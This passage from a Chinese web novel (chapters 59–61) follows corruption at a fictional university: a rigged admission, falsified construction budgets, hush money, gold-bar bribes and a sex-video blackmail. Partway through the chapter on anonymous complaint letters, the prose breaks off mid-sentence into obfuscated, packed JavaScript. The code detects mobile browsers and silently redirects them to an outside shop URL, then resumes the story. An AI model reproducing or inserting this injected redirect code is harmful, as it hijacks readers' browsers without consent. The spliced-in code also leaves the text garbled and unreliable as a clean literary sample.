当一位身着花格衬衫、走路略外八字的男生入场时,江鸥影随意扫了一眼名单。“孟道斌”三字映入眼帘的瞬间,她脑子“嗡”的一声:糟了!自己将孟超副校长的嘱咐忘得一干二净! 两天前,孟超曾“不经意”地向江鸥影招呼过侄儿参加面试的事情。因为忙得不可开交,江鸥影听得有些马虎,竟将此事完全遗忘。此刻人在眼前,现场疏通评委已经完全来不及。江鸥影只好在心中祈祷考生孟道斌能够“一切顺利”。 偏偏孟道斌缺乏争气的实力。刚站上讲台,他那习惯性的眨眼与嘴角神经质般的抽动,已令评委们观感上减了分数。三轮提问下来,孟道斌早已是汗如雨下,窘态毕露。最终合议成绩下来,他毫无悬念地名列倒数第一。 面试刚一结束,江鸥影顾不得招呼评委,直接闯进秦冰纶办公室求援。 听完江鸥影语无伦次的描述,秦冰纶掩嘴笑了起来:“看来同门孟家是有家学渊源的嘛。” 江鸥影有些急了:“秦校长,老孟你是了解的,他现在又分管科研,万一怪罪下来,咱们历史学院可受不起啊。这事您得管。” 秦冰纶笑得明媚:“就这点小事,你江院长都摆不平?这样吧,晚上你在‘江南水乡’订个雅间。” 看见秦冰纶如此笃定,江鸥影悬着的心才落下一半。 “江南水乡”包间内,正在气头上的孟超当着秦冰纶的面,毫不客气地对江鸥影训斥了一通。江鸥影不敢辩解,唯有连连赔罪。秦冰纶已然和孟超平起平坐,加上现在和孟超的关系已非往日,杏眼颇有风情地斜睨了孟超一眼,只说了一句“孟校长将来要执掌大局的人”,孟超的肚子里火气就泄掉了一半。 秦冰纶红唇轻启说出了自己的“妙招”:“全日制名额虽然是硬指标,但‘非全日制’转‘全日制’的操作空间不是还有的嘛。让小孟先在非全过渡一年,明年直接神不知鬼不觉转成全日制不就成了嘛。多大点事呀。鸥影,开始斟酒吧,今天让孟校长好好尽尽兴。” 孟超脸上的云层瞬间一风荡尽,对江鸥影的态度也缓和了许多:“看在秦校长的面子,你们学院的三个课题,我明天签了。” 江鸥影脸上满是笑容,心里却五味杂陈:自己好歹也是一院之长,现在像个玩具似的被两位领导随意敲打、交易,有机会还是将头上这顶帽子摘了算了。心里这样想着,面子上又禁不住秦冰纶的催促,只好不停地端起酒杯给孟超陪着笑脸。 60. 迷局陷阱 一期工程动工后,新校园工地的喧嚣成了孟超耳中最动听的乐章。钢筋水泥的碰撞铿锵有力,搅拌机的轰鸣沉闷持久,在他听来,这不仅是助推仕途攀升的战鼓,更是借机敲打六家承包商的棒槌。更妙的是,他终于找到了一个无可辩驳的理由——驻守工地,得以名正言顺地从妻子韩梅编织的家庭樊笼里挣脱出来。 说起自己这位老婆,在孟超眼中早已成了一块食之无味、弃之可惜的“鸡肋”。层层脂肪在她衣下滚动推挤,脖颈上堆叠的深重肉褶几乎淹没了下巴,腰腹间松垮的赘肉如同疲惫的沙袋沉沉下坠。整个人站在那里,简直就像一块硕大无朋、油腻软塌的粉蒸肉。更为可怕的是,韩梅臃肿的躯体内积蓄着随时可能爆发的火暴脾气,一言不合便浑身炸毛,每一声汉骂都像烧红的煤渣,滚烫得足以灼穿孟超的耳膜。结婚近二十年,因为没有孩子,两人的日子早已被揉搓成一段黯淡无光的旧毛线,一团乱麻又了无生趣。当上副校长后,孟超更觉自己的婚姻仿佛一场没有期限的苦役。 他自然不甘心人生意义和乐趣被韩梅这般消耗磨损。权力加持之下,孟超忽然发觉自己在女性面前其实也是魅力无限。整日繁花似锦,让年轻时一度为相貌和出身自卑的他空前自信起来,活色生香的日子一天天的增加起来。 一期工程动工后,韩梅对丈夫十天半月不归家起初颇有怨言,但每次孟超回来奉上的“贡品”,让这个市井妇人的怨气很快风卷残云消失殆尽。在工厂做财务的韩梅心里那本得失账算得清楚。反正自己已经进入更年期,对男女之事索然无趣兴致寥寥。 当然,韩梅终究是不甘让日子沉溺在柴米油盐的琐碎与寂静里的。没过多久,她便发现了一个好去处——楚江大学老干处麻将房,那里仿佛是她灰白生活里陡然亮起的一盏灯。因着丈夫孟超副校长的身份,她一出现,总能引来一片热络的招呼与不动声色的礼让。在那方寸牌桌之间,听着那些奉承与笑语,她久违地尝到了一种被簇拥的暖意,一种轻盈而实在的虚荣,这让她近乎干涸的精神,悄然舒展开来。 从此,韩梅便成了麻将房的常客。没想到,在那里,除了收入颇丰外,她还有了意外的收获。 人一退休,大都如此。退休证一到手,便如褪去硬壳的蝉,不再受职场或官场标尺的丈量,也无惧他人眼光的棱镜折射,于是唇舌间便生出一种奇异的自由——或曰放肆。从东家媳妇的裙子长短,到西家孩子的期末分数,再一个急转切入某某校领导的出入场所……。楚江大学老干部活动中心的空气,简直要被这些退休者的唾液煨成一锅粘稠的言语粥糊。尤其那位已退休赋闲心中却意气难平的原图书馆馆长南令陶,现在几乎在活动中心扎了根。每天端着一杯茶游走在各个房间,脸上总是写满了忧国忧校的神态,上到国家大事,下到学校日常,总会眉毛紧蹙、义正词严地臧否一番,仿佛心头压着千斤重的公道正义。最近,他的话题更多集中在新校园的建设上,有时麻将牌重重一拍,嗓音无比沉痛:“几个亿啊,都是我们的血汗钱,可不能被少数人不清不楚地糟践了。”话里话外,充满了“为群众发声”的的正气凛然。甚至副校长夫人在场时,也不避讳。明眼人知道,南令陶无所顾忌,其实是有意说给孟夫人听的。 说者有意,听者有心。时间一长,一种不安如藤蔓悄然缠绕上韩梅心头。 她觉得是时候发挥一下“贤内助”的作用了。这天晚上,难得回家的孟超直嚷着嗓子难受。韩梅特意熬了一锅银耳雪梨汤,看着他漫不经心地啜着,韩梅小心翼翼地开口:“我最近这右眼皮,跳得跟抽筋似的,你说不会真出啥幺蛾子吧?” 孟超愣了一下,有些不耐烦地放下汤勺:“瞎琢磨什么?我看你是熬夜打麻将都快神经衰弱了吧。找时间去做几次SPA调理调理,保证啥事儿没有!” 韩梅嫌老公没有明白自己的意思,有些没好气地说道:“你别整天乐而忘忧。最近我在你们老干活动中心可听到不少怪话。尤其那个老南。” “哪个老南?”孟超漫不经心地问。 “还能有哪个?南令陶呀。他可是一肚子对你们校领导的不满。” 孟超手中的勺子“啪”地掉进碗里:南令陶,这可是挂了号的需要重点关注的“意见领袖”。自打正式退休,他活脱像一只被撬开锁的旧档案袋,哗啦一声,什么都敢往外面抖落。 “你得当心点,”韩梅压低了声音,带着她自认为的“精明”:“听说老南现在和你们学校那几个‘精神病’走得很紧。昨天还有人告诉我江川前几天专门请老南喝了一次酒。” 孟超彻底没了喝汤的兴致。韩梅嘴里的“精神病”是学校上上下下对石凤芝、贺建瑰这几个常年以告状为业者的戏称。石凤芝和贺建瑰这对“活宝”现在堪称是楚江大学诬告缠访的策源地。有人形容两人现在就是两条扭曲缠绕在校园犄角旮旯、专事汲取阴暗滋长毒汁的老藤,眼珠整天像淬了毒的玻璃弹珠滴溜乱转,扫描着一切可资利用的“上访素材”。两人随身的布包里装着两样宝贝——录音笔和记录本。录音笔用于确保录取对象的原声,记录本上则密密麻麻写满了道听途说后臆想的罪证。一旦锁定目标,她便如嗅到血腥的鬣狗,兴奋得颧骨发红,立刻启动那套烂熟于心的流程:煽风点火、堵门叫骂、撒泼打滚。经过这些年的老练,如今两人如同精密咬合的齿轮,一个负责寻找挖掘矿源,一个负责粉碎加工倾销。无事也要生非,平地能起惊雷。久而久之,在楚江大学,两人成了人人避之唯恐不及的存在。 孟超心中自然对两人忌惮不已,忍不住追问:“你怎么知道老南和她们搅在了一起?” “嗨,你们那位余丹凤消息多灵通啊。”韩梅得意地说道。 孟超起身走进里屋关上房门。对他而言,比南令陶、石凤芝之流更可怕的,是那个有着鹰钩鼻子鹞子嘴的副校长江川。晋升副校长的这两年多里,原本就关系紧张的江川没少给自己下绊子、扇阴风。孟超清楚,江川这是把自己当作接任周濂的拦路虎了。现在,如果江川、南令陶、石凤芝这几个人沆瀣在一起,那所产生的破坏能量,弄不好足以摧毁自己的仕途前程的。联想到上周韦江龙汇报“财务处最近频繁查阅新校园建设的原始单据和合同文本”以及秦冰纶不经意提及“江校长好像对刘芳承包的项目挺感兴趣”这些信息,孟超心里的弦一下子紧绷了起来,暗自告诫自己必须严阵以待、未雨绸缪。 韩梅看见里屋半天没有动静,便推开门问道:“没事吧?” 孟超摆弄着手机敷衍地摇了摇头,气得韩梅翻了个白眼没好气地嘟囔:“不说拉倒。到时候可别怪我没提醒你。” 韩梅的话让孟超的心动了一下,想起她的会计本行,若有所思地问道:“哎,你说……,这么大的工程,材料采购这些和预算有点出入,算是正常吧?” 受到老公重视的韩梅脸上顿时焕发出一种职业的骄傲来:“那太正常啦。钢筋标号、水泥批次,只要稍微‘灵活’点,价差不就出来了?关键是账要做平,票据上也要严丝合缝。” 韩梅的话如同醍醐灌顶。事不宜迟。他起身出门,将韦江龙和刘芳召集到一家靠近磨山的茶楼。三人顾不得品茶,开始对刘芳承包的3500万实验大楼项目的材料清单,紧锣密鼓进行核查和校正。钢筋规格适当地“优化”了等级,水泥标号在数字魔法下“稳步提升”。经过数小时的“精耕细作”,3500万的预算在账本上形成了一个滴水不漏的“完美闭环”。 百密总有一疏。就在实验大楼开挖基坑的时候,一名工人不慎跌落到了坑中的钢筋架上。这一幕正巧被正在现场巡查的顾明远遇上,赶紧让人找来实验大楼的承包人刘芳。刘芳这些年在这个问题上吃过亏,不想走漏风声扩大事态,将受伤工人送到医院后,按照顾明远的吩咐,给同在现场的工人老婆支付了一万块钱的抚慰金。 本来以为事情已经平息。第二天刚一上班,昨天出事的现场忽然有人打出了横幅,白底黑字歪歪扭扭地写着“黑心工程害人命”几个字,几个临时雇来到陌生人吹着喇叭鼓噪着“劣质工程”“草菅人命”的口号。呼喊声惊动了正在指挥部办公室布置工作的顾明远他们。感到现场一看,看见陌生人身边的石凤芝、何建瑰他们,顾明远心里明白了几分。 韦江龙忍不住骂了一句“哪个狗日的将消息透露给了这几个疯子”后,身形却退到了顾明远的身后。 顾明远眉心紧蹙,正思忖破局之策时,建设科科长轻轻扯了扯他的袖口。顺着指引望去,只见基坑东侧那棵老松树下,退休图书馆馆长南令陶正举着手机,左手随着说话节奏在空中划着圆弧。更耐人寻味的是,基坑下方的石凤芝也举着手机,时不时抬头望向松树方向。 "他们显然在串联嘛。"建设科科长压低声音提醒道。果然,南令陶刚收起手机,石凤芝便抄起喇叭扯开嗓子喊道:"大家都来看看啊。楚江大学那些当官的昧着良心贪污,用的尽是劣质的钢筋和水泥啊",看见围上来的工人越来越多,她的叫声更加起劲:“贪官黑商勾结,不顾工人死活,丧尽天良啊。" 围观的工人们开始骚动,在何建瑰的怂恿下,工人老婆也开始坐在地上哭天嚎地起来。 眼看着局势就要失控,无奈之下,顾明远只好拨通已是副局长的蔡勋的电话。不到一刻钟的工夫,辖区派出所的几辆警车感到了现场。到底是警方经验丰富。很快,基坑现场被隔离带封锁了起来。石凤芝她们见识不好,收拾起设备准备撤离,却被警察直接塞进了警车,松树下的南令陶见状,带着随从翻过壕沟,钻进了停在附近的轿车一溜烟跑了。 事情并没有就此完结,两个不知从哪里冒出来的小报记者缠着顾明远要求采访,扬言要“施工方给个说法”。从来没有遇过这个阵势的顾明远有些不知所措,闻讯赶来的孟超赶紧给刘芳做了个数钱的动作。刘芳会意,将记者拉进指挥部旁边的茶室里解决了问题。 众人散去后,孟超留下了顾明远、韦江龙和刘芳他们,厉声斥问是谁走漏了风声。顾明远觉得有些委屈,急着辩解,却被孟超挥手打断:“有什么好辩解的?说到底还是你们做事不谨慎嘛。昨天出事赔偿后,为什么不让家属签承诺书嘛。我告诉你们,这时不尽快摆平,还有得闹的。别以为是南令陶在遥控,还有人在遥控南令陶呢?” 众人大吃一惊,面面相觑。刘芳有些害怕,赶紧望着孟超小心翼翼地问道:“孟校,您看怎么办?” “怎么办?”孟超的目光锐利地扫过顾明远。顾明远觉得憋屈,瞪了刘芳一眼:“事情发生在你的工地上。如果闹大了,你们肯定是要被追责的。” 刘芳“呀”了一声嚷道:“凭什么呀?昨天我们已经支付了一万块钱的嘛。” 急于摆平生态的孟超也顾不得刘芳的面子,冷冷地说道:“没有钱搞不定的。一万块钱封不了口,那就再追加嘛,让家属签字承诺不在闹事。” 韦江龙赶紧接话:“刚才我听到那个工人老婆就是嫌钱少了的。” 最后,孟超伸出五根手指,刘芳只好忍住心痛,答应拿钱消灾。 不出孟超所料,这些天楚江大学树欲静而风不止,一封封措辞激烈的举报信,如同雪片般飞向校领导、纪委信箱。信中言之凿凿地列举了新校园建设中的“三大罪状”:一是工程招标存在严重猫腻,指定承包 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904261|192344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 商刘芳的公司资质存疑;二是材料采购价格虚高,存在巨大利益输送空间;三是工程质量堪忧,偷工减料,罔顾师生安全。信件末尾还附上了几张模糊不清却足以引人联想的工地照片。南令陶更是一个不折不扣的传声筒,将工地现场的伤人事件连同信件内容在校园里四下传播起来。 如此一来,戈大垣不得不高度重视,责令副书记张茅牵头组建一个纪委、财务、审计参加的联合调查组,对一期工程进行明察暗访。好在孟超已提前布局,加上和张茅、秦冰纶几位分管领导私下沟通顺畅,一个月下来,调查组并没有发现重大违规行为。 孟超不肯罢休,拿着调查组那份“未发现重大违规”的结论报告走进了戈大垣办公室,表情如同精心熬制的汤品火候恰到好处——混杂着被辜负的沉痛、被构陷的悲愤。他没像往常那样坐在沙发,而是径直杵在戈大垣的办公桌前,声音里满是委屈的颗粒感:“戈书记,我……我向您检讨来了。”说罢,避重就轻地对一期工程中的漏洞诚恳地来了一番自我批评。 戈大垣觉得孟超有些矫情,国字脸上浮起了冷笑:“调查组都有结论了嘛。你就不必过分自责了。” 孟超不为所动,手却异常稳定地探入随身公文包,掏出一个牛皮纸文件袋:“戈书记,这个袋子里有些东西,我想请您过目。” 戈大垣有些吃惊,打开文件袋,从里面抽出一摞照片来。照片上面清晰记录着江川与南令陶在不同场合的会面。 “老公安”的戈大垣不以为然,将照片丢在桌面上:“这能说明什么问题呢?” 孟超趋前一步,从牛皮信封里抽出几页纸来。那上面有他让蔡克民从工人老婆嘴里撬出来的“供词”。当戈大垣看见“石老师专门找到我说只要把事闹大,就帮我们搞到更多的补偿费”时,嘴里生气了说了句“搞什么名堂嘛”,孟超趁机将石凤芝在派出所里供出南令陶的信息说了出来。 戈大垣眉头骤然锁紧,那双经历过无数风浪的锐利眼眸微微眯起。作为在公安战线历练多年的“老公安”,他几乎瞬间就拼凑出了完整的真相图景——就像刑侦专家从几个看似孤立的物证中还原出犯罪现场。五年来,他对楚江大学遇事就举报施压的陋习早已深恶痛绝。现在看来,这次事件绝非简单的施工纠纷,而是有人意图将个人私心凌驾于学校利益之上的行径。这种为一己之私不惜煽动对立的行为,已经触碰了他作为党委书记的底线。此刻戈大垣的心中,那个关于江川的评估档案上正被重重划下一道触目的红线。 善于察言观色孟超敏锐地捕捉道了戈大垣神色的变化,故意泛红着眼睛说道:“戈书记,我为新校园没日没夜,这您是清楚的。现在倒好,我在前面冲锋陷阵,有人在背后捅刀放箭,确实有些心寒。再这样下去,这工作没法干了。” 戈大垣缓缓放下手中茶杯,靠回到宽大的椅背上,声音平淡如水却抚慰人心:“大丈夫能屈能伸嘛。你孟校长这点委屈就受不了了?真金不怕火炼嘛。不用担心,回去放手干,有组织撑腰呢嘛。” 孟超心头的石头在心湖里砸起了一层层狂喜的涟漪。 退出戈大垣的办公室,他第一个想起了刘芳,今天晚上必须好好庆祝庆祝。 刘芳早有所待,连忙在“梦江南”订下了套房。 今晚的刘芳走起了清纯校园风路线。披肩卷发梳成两根粗黑的麻花辫,一身简洁的白色T恤套裙取代了名牌服装,整个人散发出一种别样的气息。 孟超脑中瞬间闪过“制服诱惑”四个字。来之前心中划下的自警红线瞬间消失。刘芳似乎早有准备,从桌上精致木盒里取出一枚骰子,媚眼如丝、嗲音似蜜:“孟哥,光喝酒多没劲。我们来玩个小游戏助助兴吧?”说罢,媚笑着说出了规则:猜点数大小,输一次脱一件衣服。 充满挑逗的提议瞬间点燃了孟超血液里的躁动。骰子在骨碟里清脆地跳跃、翻滚。命运的天平似乎倾向了孟超。三局过后,刘芳身上仅剩下蕾丝胸衣与可怜的丁字裤。精心雕琢的躯体在暧昧灯光下袒露无遗,散发着令人窒息的诱惑。 就在孟超手忙脚乱扑过来的时候,刘芳忽然抬手掩住即将松脱的胸衣,脸上迷醉表情瞬间切换成生意人的精明:“孟哥,听说你们正在规划二期工程?” 本有防范之心的孟超的冲动急速冷却。猛地提上裤子,脸色沉了下来:“你这胃口也太大了吧?一期三千多万的实验楼,油水还不够呀?二期还早着呢!” 刘芳似乎没有失落,脸上笑容反而更加明媚。她慵懒地拿起放在一旁的手机,纤细手指在屏幕上随意划动,语气带着些冷笑:“好啦好啦,孟哥何必这么一本正经。今天环境这么好,来,妹妹给您看个好东西助助兴……。” 随即,一阵熟悉的、令人面红耳赤的喘息与呻吟从手机扬声器里清晰传出。孟超下意识瞥向屏幕,顿时如遭雷击,浑身血液仿佛瞬间冻结——屏幕上,赤身裸体的自己正趴在刘芳身上运动。角度刁钻,画面清晰,他的正面迷醉的表情一览无余。 冷汗瞬间从毛孔里漫了出来,他死死盯着刘芳,声音有些颤抖:“你……你录这个干什么?!” 刘芳咯咯笑起来,像在说一件极其浪漫的事:“您现在十天半月都不理我,想您的时候,我只好靠这个解闷呀。” 孟超明白这胡诌背后的真正目的,面如死灰从喉咙里挤出一句话来:“妖精……你……你到底想怎么样?” 刘芳仰起那张动过刀却依然美艳的脸,笑容无辜又危险:“我想要什么,孟哥您最清楚呀。您不是说过共同发财的嘛。”说罢,身体像蛇般地丝滑到地毯上,将精致的脸埋进了孟超的双腿之间……。 61. 暗流围城 随着新校园一期工程接近尾声,二期工程即将启动的风声四处流散。最后关头分得一期工程一杯残羹的许达濠得到消息后,心思便活动开了。虽然在这个圈子里混了十几年,但许达濠的个人能力和公司实力同步地没有实质性的提高。现在,他还得仰仗自己的伯父——楚江大学原党委书记许继武出面为自己铺路架桥。 吃过晚饭后,许达濠驱车来到伯父位于江边的宅邸。阔大的房间灯光暗淡,让人觉得有些暮气沉沉。许继武身体有些虚弱,正躺在按摩椅上做着理疗。看清来人后,他鼻子里轻轻哼了一声,侧转身去背对着许达濠。 钱曼莉似乎也没打算给这个侄儿好脸色,保养得宜的脸阴沉得能绞出水了,薄薄的嘴唇撇了一下,声音带着腊月屋檐下冰棱子的寒气:“哟,你这有两个月没来了吧?是不是不敢来见伯父伯母了?” 看见许达濠似乎有些不明白,钱曼莉干脆挑明了:“年初你大伯给你介绍的那个工程应该竣工审计了吧?都半年了,承诺还没兑现的吧?”说罢,从茶几下的抽屉里取出一张签了字的白条在许达濠面前晃了晃。 许达濠心中暗暗叫苦。几年前,自己和伯父伯母就有过“君子协定”:许继武每牵线成功一笔生意,就按照合同金额的2%作为“咨询费”作为报酬。楚江大学一期的那个项目,许达濠咬着牙兑现了七万块钱的承诺。现在伯母拿出的白条应该是年初伯父牵线的一笔90万的维修新项目。之所以迟迟没有对象承诺,是因为这个项目施工中因为质量不合格被罚了款,最后结算时并没有多少利润。本打算蒙混过关,没想到伯父伯母对这笔不到两万的“酬金”念念不忘。 因为有求于伯父伯母,许达濠只好硬着头皮将皮包里仅有的九千块钱先行奉上,并答应剩下的一周内如数送来。许继武这才慢慢悠悠从按摩椅上坐了起来,钱曼莉转身进到厨房给侄儿倒了一杯橙汁。 听完许达濠的来意后,许继武浑浊却并非无神的眼光瞟了他一眼:“你说得轻巧嘛。我都离开楚江大学六年了,他们还听我的?你都三十好几了,总不能靠我一辈子呀。” 虽然伯父说话温和,但许达濠骨子里其实一直对他有些惧怕。看见他似乎没有帮忙的意思,许达濠嗫嚅着说道:“大伯在楚江大学那么多年,他们肯定会买您的账的。前年一期不就是您的一句话,秦冰纶都照办了嘛。” 收了钱的钱曼莉心里早就绽开几朵老而弥鲜的桃花,拍了拍老公的背,故意将声音提高了几度:“老头子吔,濠儿这些年也不容易,你这当大伯的,能帮衬就帮衬一把。要不我给秦冰纶打个电话?她可是受了您的恩惠的,总不能不认的吧。” 许继武心里暗自叹了口气:这娘俩,一个是头发长见识短,一个是头发短见识更短。现在的秦冰纶是当年的处长吗?人家已经做了副校长,交易完成,目的达到,还会给你面子呀? 果然不出所料,当钱曼莉自作主张带着自设的熟稔口吻给秦冰纶打去电话时,听筒里传来的是一种仿佛浸透了数九寒霜的冰冷。 一旁的许继武冷嘲道:“怎么样?不听话嘛,热脸贴上冷屁股了吧?” 秦冰纶气得咬牙切齿,将“戏子而已”隔空戴在了秦冰纶的头上。 许达濠有些慌了神,眼巴巴地望着许继武不敢出身。许继武摆了摆手:“这还早着呢,急什么呀。你先回去,我再想想办法。” 将许达濠送到门口时,钱曼莉猛地执住他的手悄声说道:“濠儿,如果大伯牵线成功了,那个比例还得照旧哈。” 许达濠只能点头答应。 送走许达濠后,钱曼莉脸上写着不悦,责怪许继武不该对许达濠这么冷淡。许继武瞪了老伴一眼:“你怎么也糊涂了?给秦冰纶打什么电话呀,她这才提拔一年多,怎么得也消停几年。对一个暂时无所求的人,你能指望她?” 钱曼莉觉得老公说得有理,便急着问:“那……那该怎么办?我吧是真希望你能给达濠牵上线的,如果能够拿过千万的项目,那可就太好了。” 许继武当然清楚妻子的心思,反背着手在客厅里踱起步,嘴里喃喃道:“周濂还有不到两年的时间要退休了吧?” 钱曼莉不知何意,跟着许继武后面不敢出声,生怕漏听了老公的神来之策。 许继武停下脚步回头望着钱曼莉:“楚江大学班子副职谁最希望自己再上个台阶呢?” 钱曼莉不愧是机关搞政工的,先是一愣,随即恍然大悟,脱口而出说出了“孟超”的名字。 许继武得意地点了点头:“孟超不是新校园的总指挥嘛,这次可以从他身上入手呀。不过,这个家伙可是头饿狼,你如果不能给他足够的饵料,他是不会上钩的。” 钱曼莉试探着问道:“要不让达濠真金白银的给姓孟的好了。” 许继武顿了顿,意味深长地补充:“真金白银自然少不了,关键还得打好你弟弟这张牌。” 钱曼莉有些担忧起来:“还有两年呀。” “没有让他现在封官许愿嘛。关键是用他的名头牵住孟超呀。”许继武眼里露出一丝狡黠的笑来。 顺着许继武的意思,钱曼莉先给侄儿许达濠打去了“指导”电话。 夜色如墨,将城市笼罩在一片沉寂之中。孟超家厚重的防盗门被轻轻敲响。孟超刚从一个应酬场合回来,酒意微醺,正准备洗漱休息,听见门响,有些不耐烦地打开了门。当看清门外站着的是被他私下里鄙夷地称为“牛皮糖”的许达濠时,圆胖的脸瞬间阴沉得能滴出水来。 许达濠早有心理准备,不等孟超开口逐客,便侧身挤进客厅,动作自然得仿佛只是晚归的家人。 孟超正要发作,许达濠却已迅速从大衣内袋里掏出两个用红绒布精心包裹的长条状的东西。借着玄关上灯光,他轻轻掀开一角,里面是两根黄澄澄、闪烁着诱人沉郁光泽的金条。 “一点心意,不成敬意。”许达濠压低声音。 正在里屋蒸脸的韩梅闻声走了过来,目光精准地捕捉到了红布上的那抹金色,脸上立刻堆满了热情的笑容,亲自给许达濠冲了一杯香浓的咖啡,顺手将桌子上的金条包好走进了里屋,还不忘在孟超紧绷的肩膀上用力捏了一把,要他好好和许经理聊聊。 孟超根本没讲两根金条放在眼里,加上对许达濠倚仗许继武的做法十分反感,虽然脸上勉强挤出些笑容,但嘴上打着太极并不轻易松口。 许达濠见状,赶忙掏出手机拨通了许继武的电话,接通后将手机递给孟超。 孟超疑惑地接过手机,听见是老书记许继武有些沙哑的声音,并部位所动,只是淡淡地问了声“书记好”。 许继武似乎没有被孟超的怠慢激怒,语气间自带着几分亲热,先是一五一十将孟超这些年的业绩代言了一番,将孟超的心焐热后,转而说道:“孟校长,时间过得快呀,这转眼间你的副校长做了四年了吧?” 这句话一下子击中了孟超心中最柔软的部分,他猛然想起许继武的妻弟就是当今组织部大佬这件事,浑身一个激灵,态度立刻恭敬了许多。 看看火候已经差不多,许继武有意将手机交给了钱曼莉。钱曼莉可没有老公的深沉,对着手机一顿热情洋溢地“有魄力”“干实事”“少壮派”的输出后,故意轻描淡写地说道:“也不瞒孟校长,前两天我家老弟来家里看望老许,老许在他面前提起楚江大学的班子建设时特意点到了你。” 孟超的心脏猛地一跳,握着手机的手不自觉地收紧了些。钱曼莉话里的意思再明显不过:只要许继武愿意,是可以为自己的晋升铺路搭桥的。 许达濠来前早就受过伯父的指教。当钱曼莉那边果断电话后,便迫不及待地说道:“我听伯父讲过,只要楚江大学校长位子空出,他一定会全力保举你的。” “保举”二字让孟超心跳遽然加速,他拿起茶几边的矿泉水瓶连喝了几大口凉水,才勉强压下心中的激动与燥热。坐回沙发,再看向许达濠时,目光已经变得柔和和亲切了许多。 两人相谈甚欢。当许达濠起身告辞时,孟超快步走进储物间,摸出几条精美的香烟来不由分说地塞到许达濠怀里:“这个,你先带给许书记,我找时间再去家里登门拜访。” 楼道里昏黄的声控灯随着许达濠的脚步一明一灭,映照着他脸上复杂的神情。走到楼下,他不由自主地停下脚步,回头望向孟超家那扇依然透着温暖灯光的窗户,嘴角勾起一丝混杂着羡慕、嫉妒与了然的冷笑骂道:“妈的,这年头权比钱更诱人啊!” 送走许达濠后,孟超脑海里开始翻江倒海,沉沉浮浮的只有一个人,那便是手握招标和审计重权的副校长秦冰纶。秦冰纶分管招标工作后,与清静无为的甩手掌柜张茅完全不同,事无巨细都是亲自过问和强力掌控,让孟超明显感觉到了掣肘和不顺。现在,为了许继武承诺的政治资源,确保许达濠能在二期工程中中标是重大的政治问题。虽然离招标为时尚早,但孟超知道,早已经有刘芳、汪清早等十几头饿狼在虎视眈眈,如果现在不开始运作,只怕蛋糕早就私下瓜分完毕。 孟超清楚,这样的运作无论如何绕不开秦冰纶。 自从秦冰纶跻身学校领导班子之后,孟超敏锐地意识到,她对自己的态度如同被重新调兑的鸡尾酒,色彩与层次都发生了无法忽视的转变。昔日那种恰到好处的谦卑,不经意流露出的娇媚眼神,如今也被一种平和却缺乏温度的职业性微笑所取代。当然,这种变化并非骤然的翻脸,而是一种缓慢的、精准的“降温”过程。 现在是关键时候,孟超将担忧放在一边,精心安排了一场和秦冰纶的私密饭局。果然不出所料,觥筹交错间,秦冰纶脸上依然是灿若桃花的笑容,但骨子里的疏离也明显写在举手投足间。尤其当孟超委婉地提出想给许达濠的公司二期工程的份额时,秦冰纶根本不接话头,而是王顾左右地岔开了话题。当孟超将早已准备好的一对翠色欲滴、水头极好的玉镯放在秦冰纶面前时,她用涂着精致蔻丹的指尖轻轻而又坚定地将它推了回去,脸上挂着无可挑剔微笑:“孟校长的心意我领了。你也知道,戈书记现在在各种会议上反复强调‘规矩’,我也难呀。”话说得冠冕堂皇,让孟超却清晰地感受到了如今的秦冰纶已非昔日那个院长了。 孟超的感觉是准确的。秦冰纶一直都有自己的心机:在弱势时伏低做小,去换取晋升的阶梯;如今地位稳固,羽翼稍丰,必须加快“去依附化”的进程,塑造一个独立自主的、不容轻侮的秦副校长形象。至于孟超这个确实给予过“帮助”的人,如今交易已然完成,旧账不必再提。想起前年为了挤进校领导班子自己不得不迎合许继武而委身孟超为许达濠争取项目的事情,秦冰纶更是屈辱和愤怒横生,内心打定了坚决不让许达濠涉足学校二期工程的决心。 秦冰纶虚与委蛇的态度让孟超心中恼怒,但面上还得小心翼翼地呵护和赞美着她以免断了后路。回到办公室后,嘴里恨恨地骂几句“婊子无情”这样的话,脑子早就开组马力开始运转,琢磨能够让秦冰纶就范的招数。 秦冰纶这边也没闲着。她深知孟超绝不会就此罢休,便想了一个利用基建处处长顾明远来制衡孟超的策略。 招标办只是工程招标的组织单位,具体的招标条款和投标要求主要还是由基建处负责拟制。秦冰纶知道顾明远是块“硬石头”,骨子里对“程序正义”和“公平竞争”有着近乎迂腐的执拗,在工程建设理念、承包商选择标准等方面和孟超存在根本性的分歧。所有这些,恰恰是可以利用的地方,只需要巧妙引导,利用顾明远本身的性格和偏好去冲抵对抗孟超即可。 这天午饭后,秦冰纶有意在餐厅门外“偶遇”了顾明远。在提出一起走步消食后,碍于副校长的前面,顾明远只好答应。两人离开主干道拐进了旁边的樱花林中。现在正是盛花期,满树粉白交织,层层叠叠地织成一片流动的云霞。阳光透过花隙洒下斑驳光影,微风拂过时,柔软的花瓣簌簌飘落,在他们肩头停留片刻,又打着旋儿坠入小径。整条路都被这温柔的粉白色笼罩着,仿佛走进了一个与世隔绝的梦境。 如果放在以前,秦冰纶一定会借花来暗示启发顾明远。如今花是人非,顾明远已不是当年的青葱青年,秦冰纶更不是当年内火频烧的□□,赏花的心情和浪漫的心思自然没了动能。走了几步,秦冰纶忽然停下脚步,直接将话题引向了二期工程。正愁没有话题的顾明远一下子找到了方向。最近,他一直在反思一期工程中频繁出现的问题,将原因归结于承包商的资质和能力不足。当他无所顾忌地说出自己的想法时,秦冰纶心中暗喜:“难怪戈书记、周校长表扬你学习能力强,这近年的工夫,你现在真算得上是基建领域的专家了。” 现在的顾明远对这种虚飘的奉承有些麻木,虚应了两句后便不作声。秦冰纶心里有些不悦,只好直接说出了自己的想法:“二期工程一定要汲取一期工程中的教训,在承包商资质这些源头问题上把好关。你们基建处作为第一道关口,能不能对竞标资质的门槛定得高一些啊?” 顾明远这些年对秦冰纶一直采取敬而远之的态度,虽然对她的观点内心认同,但并不打算明确地表明自己的态度,只是答应回去后琢磨琢磨再说。 